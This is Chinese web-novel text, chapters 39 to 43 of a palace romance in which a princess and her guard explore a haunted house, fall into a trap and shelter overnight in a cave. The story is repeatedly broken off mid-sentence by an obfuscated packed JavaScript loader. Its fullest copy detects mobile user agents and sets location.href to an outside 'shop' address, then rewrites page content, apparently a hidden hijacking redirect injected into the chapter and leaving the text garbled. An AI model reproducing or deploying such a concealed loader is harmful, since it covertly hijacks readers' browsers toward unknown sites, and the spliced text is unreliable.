礼县是永州下辖区里最小的一个州县,地处偏僻,又常年受水患影响,人口并不多。 礼县现任的知府周真听闻有宣阳城里的富商前来,想要在礼县做点买卖,恨不得把沈煦一行人供起来。 若是这些人能给礼县带来点赚钱的门路,那肯定能算在他的政绩上,到时候他就可以离开礼县这个破地方了。 周真是寒门学子,从前还靠着给富商家的子女授课来赚取银钱读书,对商人也没有一般世家子弟的那种清高。 辛辛苦苦科考却只能在这种小地方当知府,他太想走出去了,要是这群富商能让他年底的述职上添上浓墨重彩的一笔,他才不管什么士农工商的贵贱之分呢。 周真特意在酒楼里设宴,为几位接风。 为首的沈煦摆摆手,直言不需要那么多的面子功夫,提议在周家用一顿便饭就好,人少安静,方便议事。 因为是宣阳城来的富商,周真是怕人家见过大世面,一些家常便饭的怕怠慢了才提议去酒楼。 他倒是乐得在家中宴客,还能省点钱。 按照规矩,知府处理公务的衙署背后,就是给官员和家眷居住的地方。 礼县穷,知府的居所看起来跟永州的普通民居差不多,仅有一个客院,和主人家居住的主院。 不光小,还处处都透露出年久失修的破败感。 青苔沿着泛黄的墙角生长得极为茂盛,连带着周围的台阶上都隐隐沾着绿意。 周真走在前面,提醒几位小心地滑的时候,还不忘跟人哭诉着礼县实在是太穷了,他一介知府倒是不在意住什么地方,就是忧心没能造福礼县的百姓们。 沈悠然趁机插嘴,“你们礼县的知府,都是住这样的地方吗?” 虽然是个小姑娘的打扮,但周真看沈煦对她处处照顾,也就老老实实地回答她的话。 “倒也不是必须住在衙署,全看个人,比如李大人之前就是在街上赁了个宅子。” 怕他们不知道,他还特意解释了一番,李大人就是如今永州的知州李文枢。 沈悠然佯装天真地发问,“呀,知州大人住过的宅子呢,若是在他之后能赁到这个宅子,也算是跟知州大人住过一个院子的人了。” 貌美的小姑娘,说话语气又率真,周真也免不得优待,不由得多了几句话。 “倒是不假呢,听说李大人调任之后,空下来的宅子多的是人想租,价格比同街的其他宅院高出了一倍不止呢,后面也不知道是哪家的有钱人,直接花钱整个儿买了下来。” “只是可惜了,兴许是买宅子漏了富,被歹人惦记上了,发生了命案。” “好端端的宅子,竟成了凶宅,也就没人敢再动心思了。后面又遭了几次水患,无人打理,院中杂草横生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一行人谢绝了他的好意,直言早已经找好了客栈。 或许是因为今日听到了太多的“李知州”,周真听说了客栈的名字之后,下意识地就补充道,“真是巧了,就在李知州旧居的对面呢。” 这句话萦绕在沈悠然的心中,散步回客栈的路上,就一直在想这件事。 等远远望见那座被周围灯火包裹着漆黑一片的宅子时,突发奇想。 “我们进去看看吧?” 沈煦下意识地皱眉,“天色这么晚了,又是一座荒宅,万一宅中蛇蚁安了家,怕是躲避不及。” “不若明日我们再去?” 严晟摇摇头,“这里处于闹市,白日里人多嘴杂,我们一行外乡人贸然前去,定回惹人生疑,倒不如晚上来的方便。” 担心蔺朝暮害怕,沈悠然提议让沈煦二人先回,她和严晟去看看。 沈煦摇摇头,“不若你和朝暮在客栈休息,哥哥同阿晟去看看。” “可别这样!”沈悠然摆摆手,“万一有人瞧见我跟嫂嫂两个弱女子在客栈中心生歹念,我那点三脚猫功夫可招架不住。” 难得她还能有点自知之明。 不过她说的也在理。 沈煦皱着眉多叮嘱了几句,然后才目送着二人踩着旁边堆积的木箱子,翻墙进了宅子。 只是四人谁都没想到,翻越过这一堵墙,今夜再也无法平静。 40. 第 40 章 和一般的皇帝教养子女的理念不同,盛兴帝总觉得,只要孩子想学,多学点东西总是不错的。 是以沈悠然不光会点强身健体的三脚猫功夫,连翻墙爬树这种在旁人看来不学无术的本事,也略有涉猎。 在看见率先跳进院子里的严晟伸出手让她别担心往下跳的时候,沈悠然摆了摆手拒绝他的好意。 “小看谁呢?”她嘟囔着一脸的不服气,从墙沿上纵身一跃,稳稳落在地上。 只是目光落在严晟收回去地手臂时,又隐隐有些后悔。 似乎不该意气用事逞能的,示弱一下让严晟接住自己,是不是能拉近拉近关系呢? 这样想着,沈悠然面无表情地发出一声“哎呀”,佯装腿软,往严晟的方向倒。 刻意到沈悠然自己都觉得面上无光,刚一有动作就后悔了,硬生生地转过身去扶着墙站稳了。 看她举动怪异,严晟没忍住轻笑出了声。 倒又惹得沈悠然恼羞成怒,瞪着眼直视他。 “你笑什么笑啊,有什么好笑的!” 月色昏暗,仅有天上的星光在月色的照耀下闪烁着,为所有的事物都披上了一层朦胧的纱衣。 严晟觉得心口好似被什么东西拨弄着,一种难以言喻的悸动无声地漫延开来。 从前他只觉得,做人当是要学会收敛自己的喜形于色,才不会叫人揣测出自己的心中所想。 但每每面对沈悠然的时候,他又觉得,似乎她的任何一个表情都很有趣。 笑也好、哭也好。 高兴也好、生气也好。 每一个动作,他都想看到。 明明是在如墨色般深沉的夜色里,严晟只敢抿着唇,缓缓错开眼。 “回禀昭懿……帝姬,在下不敢。” 许久没听见他这般称呼过了,沈悠然觉得这声帝姬就像是打更人的叫喊声,在提醒着什么。 但她也说不清到底是什么,只觉得严晟有些莫名其妙的,甩甩头不去管他。 还有要事要做呢。 在门外的时候信誓旦旦,但真到了院内,沈悠然还是觉得有些瘆人。 屋内荒废已久,带着一种久未有人居住过的阴气,霉味与泥土气息混合着让人感到一种说不出来的不适。 因为没人打理,院内的杂草已经快要及膝高,又只有月光照着,恍惚间真的像是一条条戒备着准备进攻的蛇。 风穿过残破的窗户,发出阵阵如鬼哭般的嚎叫,配合着随风晃动的树叶,让人不免心生怯意。 再怎么硬气也就是个小姑娘,沈悠然下意识地就攥紧了严晟的胳膊。 “害怕?”严晟低头问。 毕竟是偷摸着翻墙进的,好似做这种事的时候就应该蹑手蹑脚的,严晟的声音压得很低。 低得两个人要凑得很近才能听清对方的话。 “如果害怕的话,我们就走。” “反正一切都是我们的无端猜测,兴许这里没有什么古怪。” 沈悠然有些犹豫,总觉得就这么走了似乎是心有不甘。 “来都来了,逛一圈看看吧。” 严晟点点头,又恐夜色太暗沈悠然看不见,轻轻应了一声。 她恨不得整个人都扒在严晟身上,脚尖对着脚后跟,慢慢地挪动着。 不小心撞到什么东西的时候,压抑着惊呼出了声。 严晟低头,借着月色看了眼脚下的东西,出声安慰她。 “别怕,不过是一截枯木,等等……” 感觉到身边人的动作,沈悠然害怕,连忙跟他一起蹲了下去。 “这青苔上,有脚印。” 脚印不深,上面还落有灰尘,看起来应该不是近几日,但也和宅子荒废的时间对不上。 是有人在之前进来过这里,而且从脚印的方向看,也不是从正门走进来。 难道是和他们一样的不速之客吗? 他们来此是为了李文枢,那这枚脚印的主人呢,又是为了谁? 沈悠然下意识地和严晟挤作一团,小声低语,“这……这不是荒宅吗,为什么、为什么还有脚印。” 她抬头看了眼正房,里面没有灯火,从两侧的窗户望进去,里面黑黢黢的,什么都看不见。 未知带来恐惧,看见这枚脚印之后,沈悠然总觉得,房里也有人在窥视着他们。 察觉到沈悠然的身体紧绷着,尽管心里已经有了不好的猜测,但严晟还是尽量在安慰她。 “兴许是无家可归的流浪汉,不介意这里死过人,只是想要一个落脚的地方。” 见依旧紧张,严晟直接反手将她的手包裹在掌心之中。 “别怕、别怕,你跟紧我,要是有什么不对的地方,你就往外跑,大声喊着往外跑。” 沈悠然深吸一口气,点了点头。 此时她已经没有任何了任何的旖旎心思,恨不得两个人紧贴着走,拉着严晟的掌心泛起阵阵冷汗,哪还管得了什么牵手不牵手。 严晟捡起那截枯木,牵着沈悠然走到门口,谨慎地驻足观察着。 门没有上锁,边沿上落满了灰尘,看起来也不是一朝一夕能积累起来的,这点倒是看着倒像是没人住的样子。 但严晟不敢大意,用枯木代替双手,推开房门的一瞬间,带着沈悠然侧身躲在门侧。 直至过了几息之后,除了推门而簌簌落下的灰尘之外,仍不见其他的动静。 没有人,也没有突如其来的暗器。 也不知道这是好消息还是坏消息。 沈悠然攥着裙摆,小心探出一个头,看向屋内。 “和我想象之中的荒宅,似乎有些不一样……”她小声分析着,“到处都有灰尘,看起来是没人居住的样子,但又、但又……” 说不上哪里怪,但就总是有哪里让沈悠然觉得不对劲。 “没有蜘蛛网,也没有虫蚁。”严晟冷冷说道。 “对诶!没有蜘蛛网!” 沈悠然想要拍掌赞同一下,下意识地举起手,两人交握着的手就出现在了面前。 后知后觉的羞赧让沈悠然只觉得掌心有些发热,就像是不小心碰到盛满热茶的茶盏,这灼热的触感让她立马松开了手。 但严晟比她动作更快,以一种强硬但不会伤到她的力度,按下了她的手。 “抓紧我,万一有埋伏。”他说。 沈悠然懵懵懂懂地点着头,继续说道,“我从前误闯过久无人居的宫殿,被半个拳头大的蜘蛛吓哭过呢。” “这宅子荒废的时间按年计数,虽说有不少灰尘,但总的来说却并没有那种颓败的感觉。仅剩的桌椅也不乱,连蛇虫鼠蚁都未能占地而居,像是有人在定期打理,但又不是日日都在。” “总不可能还有那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“是我大意了,没想到这里还有机关。难怪门上带有灰尘,想必那枚脚印的主人平日里都是跳窗进出,这陷阱就是用来防备我们这种不明就里的外人。” 他抬头看了一眼头顶,石砖早已闭合,而且两侧青苔湿滑,肯定是没有办法借力爬上去原路返回了。 严晟皱着眉头,拽了拽旁边坠着的藤条。 藤条还不及小指粗,别说是自己了,怕是连沈悠然的重量都承受不住。 顺着藤条往上爬的可能也落空了。 沈悠然只觉得气馁,敲了敲自己因为坠落而有些犯晕的脑袋。 “看来只能等哥哥发现我们久久未归来寻我们了。” “也不知道这个机关是只能用一次还是怎样,别到时候哥哥也着了道,直接全军覆没。” 一旦有了这个想法,沈悠然就觉得发生的可能性很大。 “我再也不要当女侠了。”她垂头丧气地说道。 如果不是她提议来荒宅里看看,根本就不可能被困在这里。 这里阴暗潮湿,一股子苔藓的土腥味。 若不是因为刚从知府家里出来,说不定现在还饿着肚子,还没有水喝。 从小就没收过什么挫折的沈悠然被困在眼下这个逼仄压抑的环境里,只觉得前所未有的沮丧。 在黑暗之中,严晟模糊地看见她低垂着脑袋,双手在手臂上摩挲着似乎是有些冷。 他也没多想,直接伸手将她揽入怀中。 “别怕,别怕。”他说。 41. 第 41 章 虽然是夏季,但礼县临河,夏夜里本就不比宣阳城那般热。 再加上二人现在地底,阴冷的湿气张牙舞爪地将包裹着每一种生物,如同是披着一层被浸湿的纱衣,呆得越久,寒意越重。 但沈悠然正在被如春风般和煦的暖意簇拥着。 周遭是无声的静谧,在心口传来的跳动声之外,她隐约听见了严晟的如同呢喃般的低语。 “别怕、别怕。” “皎皎……别怕。” 因为太过昏暗,其实沈悠然是不大能看得清对面的人是什么模样。 但也就是因为这份未知,让耳边那喑哑得本该听不见的低语分外清晰。 上一次被严晟揽进怀里的时候,是在庄家,沈悠然目睹那位叫做秋娘的小妾冤死。 而这次,和那双带着凉意的手不同的是,她只觉得那隔着单薄衣衫传来的阵阵温暖。 和让她觉得心安的薄荷香气。 沈悠然没有推开,更不想推开。 她没有去细想严晟的称呼,只觉得在此刻,这种亲昵的呼唤让她多了几分安定。 直至挂在头顶藤条上的水珠滴落,带着地下水透骨凉的寒意,让二人如梦初醒。 严晟松开手,略带僵硬地揉了揉她的头。 “别怕,我们能找到出去的办法。” “还冷吗?” 哦,原来是因为自己冷,才给的拥抱吗…… 沈悠然没由来地觉得有些失落。 “这个地方,要怎么出去啊。”她有些不高兴地抱怨着,“连光都没有,什么都看不见。” “设计这个机关的人可真是缺德啊,还把顶给封了,是打算把我们闷死在这……等等,为什么没有觉得闷?” 这里四周都是壁沿,头顶的石砖也牢牢封住了连一丝光都透不进来,但居然不会让人觉得闷。 而且还有苔藓和藤条。 这说明这里至少是有水和空气,这些活物才能在这里生长。 沈悠然越想越觉得有道理,随手就抓着严晟激动地晃着,“这里一定有路可以出去。” 回应她的,是严晟那压抑的痛呼声,以及骨头之间互相挤压的“咔哒”声。 “你怎么了?”沈悠然焦急一问。 肩膀处传来的痛感因为这阵晃荡愈发强烈,严晟下意识地甩着头。 “我没事,啊……” 沈悠然的手不知什么时候搭在了严晟的肩膀上,加了几分力往下一按,不出意外地听到了严晟不适的叫声。 “这还叫没事吗?”沈悠然有些生气,“为什么受了伤不说?” “你是故意瞒着不说好让我心生愧疚的吗?” 严晟当即反驳道,“当然不是。” “这点小伤,确实无碍。” 沈悠然冷哼了一声,“青黛说她有个夭折的哥哥,就是从前和人在外面打闹不小心撞到了头,连伤口都没有,回去的时候人还是好好的没什么事,当天晚上就没了。” “别觉得是小伤,真等到严重了,就后悔莫及了。” 嘴上虽然是有些埋怨地说着,但搭在肩膀上的手却又变得轻柔。 “这疼吗?”她问,“是不是刚刚掉下来的时候摔疼了?” 语气小心,带着心疼。 仗着昏暗看不见,严晟眼尾轻颤着笑了笑。 “真没事。” “不是逞强,应该就是骨头脱臼了。等出去之后找个大夫接骨就行,不会发展成那种……当晚就没了的大病。” “也不是为了让你愧疚,不说是因为觉得没必要,说了事情的结果不会有什么的改变,一样是需要出去才能找大夫。” 沈悠然打断他的话,颇为反对。 “谁说没有改变。” “你若是说了,会得到我的、我的……心疼。现下知道你受了伤,或许我会大发慈悲,找出路的时候帮你分担一些。” 说完,她似乎有些不好意思,嘴硬地补充了一局,“本帝姬也不是什么不讲道理的人。” 不知道为什么,这种时候,严晟觉得外人用来形容他的那些诸如正直端方一类的词都好似一种误会。 他明明就……很恶劣,很想欺负沈悠然。 “帝姬每次害羞的时候,都喜欢自称本帝姬。” 果不其然,这句话一说出去,沈悠然就急得跳脚。 “你、你,你瞎说!”沈悠然急得说话调子都变得奇怪起来。 果然啊,她还是这副活灵活现的样子,比较可爱。 这次的笑意再也没能掩盖住,沈悠然听见这笑声,意识到严晟这是再拿自己取乐,暗自咬了咬牙。 这人就是想看自己跳脚是吧,偏不让他看,沈悠然心想。 “快找找出路,别再这耽误时间了。”她绷着脸颐指气使,“万一设置机关的人来个瓮中捉、不对不对、关门打……” 沈悠然晃晃脑袋,总觉得可能这里还是太闷了,她都口不择言了。 说完,她就转身在壁沿上一寸寸地踅摸着,那种黏腻湿滑的触感让她觉得浑身不舒服,不由得泛起了鸡皮疙瘩,没忍住打了个寒颤。 因为离得近,严晟立刻就察觉到了。 “冷?” 他一边问道,一边忍着肩膀转动带来的刺痛,脱下外衫披在沈悠然身上。 “我来找,你……牵好我。这里太黑了,万一还有什么机关,你躲我身后。” 不给沈悠然拒绝的机会,他就蹲在地上,双手在墙沿上摸索。 过了一会儿,他才起身,对着沈悠然嘱咐道,“捂好口鼻。” 不知道他要做什么,但沈悠然本着不添乱的原则,当即用袖口挡在面前。 见她准备好,严晟用力拉动着藤条,一瞬间枝叶、水气、灰尘、还有不知名的飞虫随着他的动作簌簌下落。 严晟当即背过身去,将沈悠然护在怀中。 等到再无纸条下落和活物飞行的动静之后,才慢条斯理地放开她。 果然和他猜的差不多,在藤条的背后,藏有一个洞口。 洞口不过一个磨盘大小,也无光,只扯下藤条之后有风吹来,才让人意识到面前还有出路。 “呀!你怎么知道这里还有路的?” 严晟半弯着腰,徒手去将堆积的泥土挖开。 “下面的苔藓比上面厚很多,这里存在水位的差距,可能是丰水期涨水,这里会囤积成一个小水池,这里三面都是厚实的墙壁,只有这里有藤条生长,肯定是水源,或者说是有过水源。” “苔藓平滑整齐,并没有太多的压痕。我猜想可能是因为这个陷阱最早是人为开凿出来的,但修造已久,后面又长期无人无人踏足,久到几次水患早已改变了地底的走向而无人察觉到旁边已经被水冲出一条路来。” 说话之间,严晟已经将洞口扩宽,伸手出去摸索了一下,果然还有空余。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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也不知道过了多久,耳边响起了潺潺水声,眼前也隐约有光的影子。 这是出口吗? 沈悠然咬咬牙,瞬间又觉得充满了力量,手上动作也加快。 又过了一会儿,二人这才彻底爬出密道。 借着微弱的月色,他们这才意识到,现在身处一个山洞之中。 洞内零星分散着小水洼,看来真的如严晟猜测的那般,每逢涨水时节,巨大的水流涌入这个下沉的山洞里,水流经年累月地冲击着土层,开凿出一条水道,意外和李文枢旧宅下的陷阱相连。 两人搀扶着踉踉跄跄地走到洞口,发现四周都是树木,看起来不像是礼县城内。 “我们兴许是在郊外,现下天色太晚,我们又人生地不熟,实在不该冒然乱跑。” 万一再遇上趁着夜色出来迷失的野兽,筋疲力尽的两人仅靠一把匕首,胜算不太大。 “我们得在这歇一晚上。”严晟说道。 尽管身上脏兮兮地让沈悠然难以忍受,但她也知道,躲在这个山洞里,应该比在外面游荡来得安全。 她只能点点头,安慰着自己,没准再过一两个时辰就天亮了,不用忍耐太久。 严晟点点头,替她寻了一块还算平整的石块,拉着她坐下。 “你在这里等我,我去寻点柴火来去去寒。” 水道比陷阱里湿气还重,衣服或多或少都被沾湿,得生个火,不然会着凉。 说完,他就准备往洞口走去。 只是才刚走出了半步,他就被沈悠然拽住了。 月色透过洞口洒进来,朦胧的夜里,严晟看见沈悠然仰头看着他。 尽管脸上沾着泥土看起来有些狼狈,但她的那双眼,轻而易举地就能吸引他所有的目光。 “别丢下我。”她说。 42. 第 42 章 夜晚的郊外静谧得连鸟类煽动翅膀飞行的动静都分外清晰。 严晟的外衫早已被泥浆和水气浸染,披在身上也无法御寒。 他低头,扯过外衫随意扔在地上,“外衫湿了,别穿了,别再沾染寒气。” 一直以来包裹着沈悠然的薄荷香气在外衫坠地的时候消散大半,竟让她觉得有些不适应。 陌生的环境,她需要一些熟悉的东西来给予自己安全感。 “我跟你一起去。”她拉着严晟的手不放。 亦步亦趋的,像个小跟班。 还是可怜兮兮的小跟班。 本是想着让她坐着歇会儿,但她这样…… 严晟不得不承认,他根本就开不了口拒绝。 控制住了自己想要再看一眼沈悠然的冲动,严晟走向洞外,低头在地上寻找着合适的柴火。 没曾想过荒宅里还设有陷阱,原以为就是在福全楼吃个饭,为了不让人心生警惕严晟都未曾佩剑。 更别说带什么火折子了。 没有火源,那就只能钻木取火了。 好在林子里树种倒是多,严晟在地上挑挑拣拣,捡起又放下。 沈悠然看得好奇,不免问他这是做什么。 严晟借来她的匕首,在木头上削削砍砍,不忘替她解惑。 “钻木取火,一根坚硬的木材,譬如这个松木;搭配一块软质的柳木,快速地摩擦着,再放上树皮,就能生起来火。” “幸好我们还不算倒霉透顶,近几日都未曾下雨,还能寻得干燥的柴火和树皮。” 沈悠然蹲下身子看他,觉得神奇。 “从前倒是听夫子说过野外如何取火,倒是不知这里面还有这些门道。” “你怎么会知道得这么多?看起来好像很熟练的样子。” 严晟蹲下身子,低头吹气,那些树皮木屑真的就燃了起来。 “太子殿下入军营的时候,我也曾跟着一道,在军中学会的本事。” 沈煦入军营沈悠然当然知道。 虽然是从小也练过武的人,但跟着师傅练武可不比在军营辛苦,盛兴帝又特意跟大将军知会过不可优待二人,他们在军营里要做的事跟最底层的小兵别无二致。 记得刚去那几日,沈煦每日回宫身上都是伤痕累累,别提有多可怜了。 在栖梧宫里看见赵皇后替沈煦肩上那被粗粝的绳索磨出来的伤痕时,沈悠然都哭出来了。 彼时的她还不认识严晟,现在想想,至少哥哥回宫之后还有自己和母后心疼,父皇虽然嘴上说着男儿身上带点伤是功勋,但背地里还是让御医开了上好的伤药。 但严晟母亲早逝,家中只剩下一个一心只有学问的老古板父亲,定是感受不到什么家的温暖。 这般想着,竟将心里话都说了出来。 “好可怜哦严晟。” 语气软软的,像是在哄小狗。 严晟失笑,好像莫名其妙地被同情了呢。 自己还蜷缩起来捏着衣服可怜模样,倒是心疼起别人来了。 严晟觉得牙根发酸,转过头去用剩余的木棍搭了个架子,等火烧旺之后将地上的外衫捡起来,搭在架子上烘烤。 “昭懿帝姬,你也将外衫放在上面去去寒气吧。”他说道,“我会背过……” 话还没说完,严晟就看见沈悠然迅速地脱掉了外衫。 “我脱衣,你扭捏什么?”沈悠然坦然望向他,“我不过是脱了外衫罢了,里头还有内衬,又非赤身裸体,有什么好不能让人看见的,莫不是这外衫是对女子的规训?” 她这般坦荡,倒显得像是不敢看的人别有用心。 “是我迂腐了。”严晟稍一细想,也觉沈悠然说得在理。 本就心悦于严晟的容貌,听了他并无说教的回应,沈悠然更觉得欣喜。 “孺子可教哦严晟。” 像是上了瘾,她也不叫严公子,倒是一口一个严晟地叫着。 听起来脆生生的,像炎热夏日里用汤匙搅动着盛满了冰块的白瓷碗,发出的叮当响。 严晟拨弄着眼前的火堆,间或折断几根柴火扔了进去,让火烧得更旺。 暖意逐渐替代了那股湿哒哒的黏腻感,沈悠然卷成一团的身子渐渐舒展开来。 一阵咕噜声响不合时宜地传了出来。 又是爬树翻墙进荒宅,又是手脚并用从地道逃生,沈悠然肚子里的那点东西早就化作力气消散了。 “饿了吗?”严晟问道。 沈悠然只用了一息的功夫,就在装模作样地说不饿和忠实于自己的身体反应之间选择了后者。 在严晟面前装文静淑雅的事,还是等她吃饱了有力气之后再做吧。 只是这荒郊野外寂静到连枝叶落地都能听见声响,能有什么吃的? 严晟在怀里掏了掏,摸出一沓用油纸包裹着的东西。 因为在水道攀爬过,油纸皱巴巴的,看起来让人不太有打开的欲望。 但沈悠然还是敏锐地闻到了一丝荤油的味道。 “这是……” 随着严晟的动作,沈悠然看着面前已经不成型的金丝芋泥饼,在一片碎屑之中只余有三四块还算完整。 “呀,你什么时候买的!”她稍显惊讶。 回客栈的路上,路过礼县有名的夜市,两侧满是做小生意的摊贩。 他们赁不起大铺子,只能趁着夜深闲暇的时候,赚点钱补贴家用。 其中又以卖吃食的最多。 沈悠然路上玩心起,虽是用过膳,但架不住好奇,总是喜欢去问问这家卖的什么,那家又是做的什么吃食。 见着这用荤油炸制的金丝芋泥饼,感兴趣地多问了两句。 “只是可惜了,这没有咸粥。那摊主就说这金丝芋泥饼是他家的招牌,配咸粥最是美味,只是才刚支起摊子,还没配备咸粥,我还觉得可惜呢。” “你莫不是买来做明日早膳的?” 严晟避而不答,皱着眉头看向手中的饼,没想过会损坏得这般严重。 内陷里的芋泥被挤压得四处都是,看起来着实不太让人有胃口。 他双手合拢,将油纸胡乱皱成一团,“还是别吃了,这地下有水道,想必不远处应该有河,我去看看能不能捉两只鱼来充饥。” 沈悠然手疾眼快的抓着他的手腕,“别啊,就吃这个。” 有火堆烘烤着身上的湿气,沈悠然懒洋洋得不想动,更不想去黑漆漆的河边捉鱼。 这荒郊野外的,也没有避腥和调味的调料,她虽然是挑剔,但也能明白难吃的和难看的到底哪个好。 “可是……” 严晟还想再说什么,但架不住沈悠然动作快,就着他的手腕,低头咬了一口。 隔着一层油纸,严晟触碰到了沈悠然的脸颊。 明明早已经冷掉的芋泥饼,此刻竟变得有些烫手。 “唔,那小二说得不错,这饼子果然就该趁热吃才好,现下冷了,是有些太过甜腻。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837003|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不过肯定是比那些没滋没味的烤鱼好。 她还是忍不住挑剔,“严晟你失策了吧!还想当明日早膳,早知道你喜欢吃,我们可以明日一早再去买。” 她嘴边还带着沾上的碎屑,火光飘忽地照在她的脸上,让严晟有些恍惚,腾出一只手在她的嘴角擦拭着。 温热的指腹轻柔地摩挲着入玉脂般细腻的肌肤,让沈悠然的脑子里瞬间就一片空白。 她想,或许是因为地道里太过潮湿,她现在太眷恋那种能让她感受到温暖的东西了。 无论是旁边噼啪作响的火堆,还是严晟的指尖。 她这才意识到,自己和严晟的距离如此之近,近到若是气息有影子,现在怕是早已交织在了一起。 虽然是帝姬,但沈悠然其实是不太喜欢和旁人有太近的接触,近身伺候的侍女也不过只有青黛一人。 此刻,在望向严晟眼里的自己时,鬼使神差地觉得今晚的开始很糟糕,但至少现在这一刻是美好的。 火堆里也不知道是夹杂着什么东西,突然发出一阵如炒栗子崩开的声音,打断了两人之间越来越近的距离。 “你……” “我……” 严晟看着自己的右手,气馁般地觉得有些懊恼。 他忙不迭地转移起了话题,“是、是……我考虑不周,该明日再去。” 沈悠然原本想要说点什么,忽然被他这么一打断,脑子里也没了思绪,只会下意识地干巴巴回应。 “那、那明日你让哥哥同你去吧,我还、我才不要早起呢。” 还不知道明日太阳升起的时候还能不能离开这个破地方呢,两人竟谈论起了也不知道能不能吃得上的早膳。 折腾了大半夜,也不知道现下是什么时辰了。 肚子里稍微有些东西之后,沈悠然后知后觉地感受到了疲倦。 外衫本就未曾湿透,被火焰熏烤了一会儿,带着一阵柴火的气味,披在身上只让人觉得暖烘烘的。 见她的脑袋似出家人手中的木鱼槌那般时不时往下落,严晟小心翼翼地将自己的外衫又搭在她的身上。 因为宽大,倒是能将她整个包裹起来。 坐着打瞌睡的睡姿不好,沈悠然倒未曾沉睡,迷迷糊糊之间觉察到严晟的动作,一双眼弥蒙着看向他。 “吵醒你了?”严晟的嗓音比目光还要轻柔。 迷糊之中的声音不免有些沙哑,因为意识不清晰,倒多了几分撒娇的意味。 “没,不舒服,睡不着呀。” 严晟几经犹豫,闭眼深吸了一口气,左肩微微下沉着让沈悠然靠在肩头。 “睡吧。” 到底是还不够完全清醒,被这么轻柔的嗓音一哄,沈悠然又觉得睡意上涌。 嘴里小声的嘟囔着,“睡不着,你哄……” 明明已经困得支撑不了说完一整句话了,但还是在嘴硬反驳睡不着。 严晟没说话,左手虚揽着沈悠然,在她的肩头一下下地轻拍着。 若是沈煦在此,怕是会惊掉自己的下巴,何曾见过严晟这般轻柔到整个人都似水般柔和的模样。 更别提还能从他嘴里听见轻哼着的婉转小调。 那是永州人用来哄小孩子睡觉的调子,是严晟母亲留下来的少有的记忆之一。 直到感受到绵长的气息,意识到沈悠然已然陷入梦境,严晟才小心翼翼地替她拨弄着额间飘乱的碎发。 “睡吧,皎皎。”他说。 43. 第 43 章 等了约莫有一个时辰还不见两人回来,沈煦当即反应过来,出事了。 此时他也顾不得什么隐瞒身份了,当即带着蔺朝暮去往府衙。 周真一开始还醉酒未醒,听到方才的富商自称自己是太子殿下,乐呵呵地拉过他的手小声嘀咕,“我说老弟啊,你可不能仗着喝多了说胡话呢,这冒充太子可是死罪啊。” “今日得亏是遇见老哥哥我了,往后可不能在外间胡乱说这种醉话。这样,你就在此处等着,我让你嫂子给你煮碗醒酒汤来。” 沈煦沉着脸,扔出自己的太子令牌。 周真踉踉跄跄地接过牌子,凑在烛火前一个字一个字地看着,直接被吓得一个激灵,当即跪在地上。 “太、太子、太子殿下!” “小的、小的有眼无珠……冲撞了殿下,还请殿、殿下,恕……” 沈煦心中焦急,打断了他的求饶。 “你现在,立马派一队人手给本宫,同本宫去寻昭懿帝姬和严副巡察使的下落。” 周真倒吸一口气,差点没厥过去。 比起方才一同喝酒称兄道弟的人变成太子这件事更让他觉得脑袋只是暂时还能顶在颈上的,是昭懿帝姬在他治下的礼县丢了。 同行的还有一个副巡察使。 他一边用手掐着自己的人中,一边狂奔着让人叫来了府衙里的所有人手。 “快,快!你们快去找啊!”周真急得直跺脚。 他这官还没当够呢,可不能折在礼县这个小地方。 沈煦低声叮嘱着蔺朝暮让她好好待在府衙里,倘若真是有什么危险,谅来人也不敢直接对府衙里的人如何。 蔺朝暮担心沈悠然和严晟的安危,手中的锦帕已然被攥得起了褶皱。 但她也明白,她一没有矫健的身躯,二又对地形不熟,倘若执意跟去,免不得还要让沈煦分神来照顾她。 “殿下,你去吧,”她转过头看向周真,“烦请周大人派人去客栈走一趟,同小二知会一声,若是今日投宿的两位外乡人回去了,定要让人来府衙通知我。” “还请殿下注意安全,我就在这等着殿下。” 沈煦一时眼热,也顾不得周围还有府衙里的人,低头在她额上一吻。 “好。” “等我找到皎皎和阿晟,我就回来,不要担心。” * 沈煦带人踹开了荒宅的门。 两侧的小贩看见府衙的人乌泱泱进了那座自死过人之后就一直无人敢靠近的荒宅,好奇心驱使着站在门外看热闹。 沈煦看着脚下的两行脚印,耳边传来百姓们的议论声。 “呀,这是怎么的了,莫非是抓到了当年凶案的凶手?” “哪能呢,都这么多年了,怕是来驱鬼的吧。” “什么驱鬼啊?” “嗨呀你们年纪小不知道,这宅子前几年还闹鬼呢,听说晚上还能看见有穿着血衣的人在院子里飘来飘去,可吓人了!” “隔壁巷子里那个发热成了傻子的小虎,就是因为撞见鬼了,被勾了魂呢!” 沈煦心中一动,叫来那人细问。 那人被一群穿着官服的人围着,吓得一哆嗦,竹筒倒豆子似的将自己知道的消息一五一十地说了出来。 “回这位大人的话,这都是三四年前的事了。那小虎是隔壁巷子里的,同我家小子年岁相当,还有巷子里几个孩子,平日里总是在一道玩儿。” “男孩儿嘛,在一起总是喜欢争个面子,我也是听我家小子说的,某天也不知道怎么的,几个孩子就争起了谁胆子大,然后那小虎就跟人说自己敢去那座死了人的宅子里探险,其他的小孩儿不信,就让他半夜去宅子里随便拿个什么东西出来当证据。” 